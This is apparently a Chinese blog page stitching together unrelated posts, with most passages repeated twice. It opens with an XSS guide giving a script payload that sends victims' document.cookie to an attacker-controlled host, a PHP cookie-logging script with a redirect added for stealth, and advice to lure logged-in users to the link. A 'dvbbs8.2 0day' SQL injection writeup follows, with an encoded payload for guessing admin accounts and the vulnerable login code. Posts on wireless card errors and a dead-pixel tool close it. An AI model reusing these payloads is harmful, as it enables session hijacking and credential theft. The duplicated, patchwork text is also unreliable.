跨站脚本执行漏洞代码的六点思路
1. 构造一个提交,目标是能够显示用户Cookie信息:
2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.xxx.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6其中http://www.xxx.org/info.php是你能够控制的某台主机上的一个脚本,功能是获取查询字符串的信息,内容如下:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.xxx.net");
注:"%2B"为"+"的URL编码,并且这里只能用"%2B",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就是诱使登陆xxx.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
1. 构造一个提交,目标是能够显示用户Cookie信息:
http://www.xxxx.net/txl/login/login.pl?username=<script>alert(document.cookie)</script>&passwd=&ok.x=28&ok.y=6
2. 如果上面的请求获得预期的效果,那么我们就可以尝试下面的请求:
http://www.xxx.net/txl/login/login.pl?username=<script>window.open("http://www.notfound.org/info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."\n");
fclose($fp);
}
header("Location: http://www.xxx.net");
注:"%2B"为"+"的URL编码,并且这里只能用"%2B",因为"+"将被作为空格处理。后面的header语句则纯粹是为了增加隐蔽性。
3. 如果上面的URL能够正确运行的话,下一步就是诱使登陆xxx.net的用户访问该URL,而我们就可以获取该用户Cookie中的敏感信息。
漏洞描述:
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
漏洞等级:
高危
漏洞分析:
Login.asp 代码片段
中国应用最广泛的论坛程序,最新dvbbs8.2的注入漏洞0day 包括官方版本在内的access及sql版本。漏洞存在源程序 login.asp
Login.asp 程序在检查隐藏值user用户名的登陆时没有过滤特殊符号,导致可以利用sql注入方式猜解出论坛管理员及所有用户的密码或者执行其它高级的sql语句直接威胁到服务器安全。
漏洞等级:
高危
漏洞分析:
password=123123&codestr=71&CookieDate=2&userhidden=2&comeurl=index.asp&submit=%u7ACB%u5373%u767B%u5F55&ajaxPost=1&username=where%2527%2520and%25201%253D%2528select%2520count%2528*%2529%2520from%2520dv_admin%2520where%2520left%2528username%252C1%2529%253D%2527a%2527%2529%2520and%2520%25271%2527%253D%25271
Login.asp 代码片段
-----------------------------------------------------------------------------------------------------------------
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport='"&mobile&"'"
Else
sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
'strString("本论坛不存在该用户名.@@@@0")
ChkUserLogin=False
Exit Function
Else
If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser("UserPassword")) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser("UserID")
RegName = RsUser("UserName")
Article= RsUser("UserPost")
UserLastLogin = RsUser("cometime")
UserClass = RsUser("Userclass")
GroupID = RsUser("userGroupID")
OLDuserhidden=RsUser("UserHidden")
TitlePic = RsUser("UserTitle")
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString("用户名或者密码不正确.@@@@0")
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
-----------------------------------------------------------------------------------------------------------------
Rem ==========论坛登录函数=========
Rem 判断用户登录
Function ChkUserLogin(username,password,mobile,usercookies,ctype)
Dim rsUser,article,userclass,titlepic
Dim userhidden,lastip,UserLastLogin
Dim GroupID,ClassSql,FoundGrade
Dim regname,iMyUserInfo
Dim sql,sqlstr,OLDuserhidden
FoundGrade=False
lastip=Dvbbs.UserTrueIP
userhidden=request.form("userhidden")
If userhidden <> "1" Then userhidden=2
ChkUserLogin=false
If mobile<>"" Then
sqlstr=" Passport='"&mobile&"'"
Else
sqlstr=" UserName='"&username&"'"
End If
Sql="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,lastlogin as cometime , LastLogin as activetime,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday,UserMoney,UserTicket,FollowMsgID,Vip_StarTime,Vip_EndTime,userid as boardid"
Sql=Sql & " From [Dv_User] Where "&sqlstr&""
set rsUser=Dvbbs.Execute(sql)
If rsUser.eof and rsUser.bof Then
'strString("本论坛不存在该用户名.@@@@0")
ChkUserLogin=False
Exit Function
Else
If rsUser("Lockuser") =1 Or rsUser("UserGroupID") =5 Then
ChkUserLogin=False
Exit Function
Else
If Trim(password)=Trim(rsUser("UserPassword")) Then
ChkUserLogin=True
Dvbbs.UserID=RsUser("UserID")
RegName = RsUser("UserName")
Article= RsUser("UserPost")
UserLastLogin = RsUser("cometime")
UserClass = RsUser("Userclass")
GroupID = RsUser("userGroupID")
OLDuserhidden=RsUser("UserHidden")
TitlePic = RsUser("UserTitle")
If Article < 0 Then Article=0
Set Dvbbs.UserSession=Dvbbs.RecordsetToxml(rsUser,"userinfo","xml")
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@cometime").text=Now()
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@activetime").text=DateAdd("s",-3600,Now())
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@boardid").text=0
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo").attributes.setNamedItem(Dvbbs.UserSession.createNode(2,"isuserpermissionall","")).text=Dvbbs.FoundUserPermission_All()
If OLDuserhidden <> CLng(userhidden) Then
Dvbbs.UserSession.documentElement.selectSingleNode("userinfo/@userhidden").text=userhidden
Dvbbs.Execute("update Dv_user set userhidden="&userhidden&" where UserId=" & Dvbbs.UserID)
End If
Dim BS
Set Bs=Dvbbs.GetBrowser()
Dvbbs.UserSession.documentElement.appendChild(Bs.documentElement)
If EnabledSession Then Session(Dvbbs.CacheName & "UserID")=Dvbbs.UserSession.xml
Else
If ajaxPro Then
strString("用户名或者密码不正确.@@@@0")
End If
ChkUserLogin=False
Exit Function
End If
End If
End If
-----------------------------------------------------------------------------------------------------------------
昨天研究一天,不知道是什么原因,本本说什么也不能用无线网卡上网了,尝试了N种方法,都不行,不是这不对就是那不对,检查全都没问题了,结果还是不能上,无奈之下刚才从装系统正常了。顺便总结一下故障的解决方法。
无线网卡的安装步骤:
1、安装驱动程序
2、插入无线网卡
3、系统提示“发现新硬件”等待成功即可。
插上无线网卡后提示连接失败。
这个解决方法就是取下无线网卡,在控制面板卸载驱动程序,同时右击“我的电脑”图标,选择“管理”---“设备管理器”,在“设备管理器”中把相应调制解调器(Modem)和COM端口(如果有的话)卸载掉,最后尝试从新正常安装无线网卡,就应可以了,不过我尝试了N回,都不可以,换到台式电脑可以用。总是提示错误633,恨不得都要把本本拆开将里面的网卡拿下来试试。
顺便收集下“错误692、错误680、错误633、错误734”的原因。
“错误692” 硬件损坏或驱动程序未安装好
“错误680” 驱动程序未安装好或拨号器损坏
“错误633” 端口与其它设备冲突
“错误734” SIM/UIM受到该网络的限制
若提示“端口错误”是因为无线上网卡端口非正常关闭、无线上网卡没有插好或网卡的端口被禁用。一般只需重新插一次卡并等待约10秒钟(因为电脑识别网卡需要10秒钟左右)再重新启动网卡拨号程序即可。
现在想想其中的原因,感觉是当时本本使用了精简版的系统,可能导致丢失某些所需的系统文件才出现这样的情况。
无线网卡的安装步骤:
1、安装驱动程序
2、插入无线网卡
3、系统提示“发现新硬件”等待成功即可。
插上无线网卡后提示连接失败。
这个解决方法就是取下无线网卡,在控制面板卸载驱动程序,同时右击“我的电脑”图标,选择“管理”---“设备管理器”,在“设备管理器”中把相应调制解调器(Modem)和COM端口(如果有的话)卸载掉,最后尝试从新正常安装无线网卡,就应可以了,不过我尝试了N回,都不可以,换到台式电脑可以用。总是提示错误633,恨不得都要把本本拆开将里面的网卡拿下来试试。
顺便收集下“错误692、错误680、错误633、错误734”的原因。
“错误692” 硬件损坏或驱动程序未安装好
“错误680” 驱动程序未安装好或拨号器损坏
“错误633” 端口与其它设备冲突
“错误734” SIM/UIM受到该网络的限制
若提示“端口错误”是因为无线上网卡端口非正常关闭、无线上网卡没有插好或网卡的端口被禁用。一般只需重新插一次卡并等待约10秒钟(因为电脑识别网卡需要10秒钟左右)再重新启动网卡拨号程序即可。
现在想想其中的原因,感觉是当时本本使用了精简版的系统,可能导致丢失某些所需的系统文件才出现这样的情况。
前些天一个朋友买了台电脑,由于当时粗心,回来后发现显示器竟然有一个坏点,因为不超过3个是合理,只能哑巴吃黄连了。
刚才在网上无意间找到的,有些人说管用,不知能不能成功修复显示器的坏点,有坏点的朋友可以尝试一下。
原理:通过快速切换屏幕某个区域的颜色来试图唤醒“死去”的像素点。
地址:http://killdeadpixel.com

刚才在网上无意间找到的,有些人说管用,不知能不能成功修复显示器的坏点,有坏点的朋友可以尝试一下。
原理:通过快速切换屏幕某个区域的颜色来试图唤醒“死去”的像素点。
地址:http://killdeadpixel.com
引用
只要将上述图形到您的死像素,让它在那里逗留约1小时。
图形会尝试以按摩死者像素回到活着再次获得它迅速改变。
据报道,工作了很多次。
但这并不工作,为所有死像素..仍是其一个很好的尝试。
如果后1小时不工作,请使用全屏版本,下面并尝试为约十二小时。
全屏版本:
800x600 1024x768
*尝试,以涵盖整个液晶显示屏幕,与黑色的窗口。留下任何有形的状态栏中可能会损害LCD屏幕上。使用全萤幕的功能您的Web浏览器和隐藏所有顶端酒吧。按F11用于Firefox和IE 。
图形会尝试以按摩死者像素回到活着再次获得它迅速改变。
据报道,工作了很多次。
但这并不工作,为所有死像素..仍是其一个很好的尝试。
如果后1小时不工作,请使用全屏版本,下面并尝试为约十二小时。
全屏版本:
800x600 1024x768
*尝试,以涵盖整个液晶显示屏幕,与黑色的窗口。留下任何有形的状态栏中可能会损害LCD屏幕上。使用全萤幕的功能您的Web浏览器和隐藏所有顶端酒吧。按F11用于Firefox和IE 。



下载文件 (已下载 95 次)

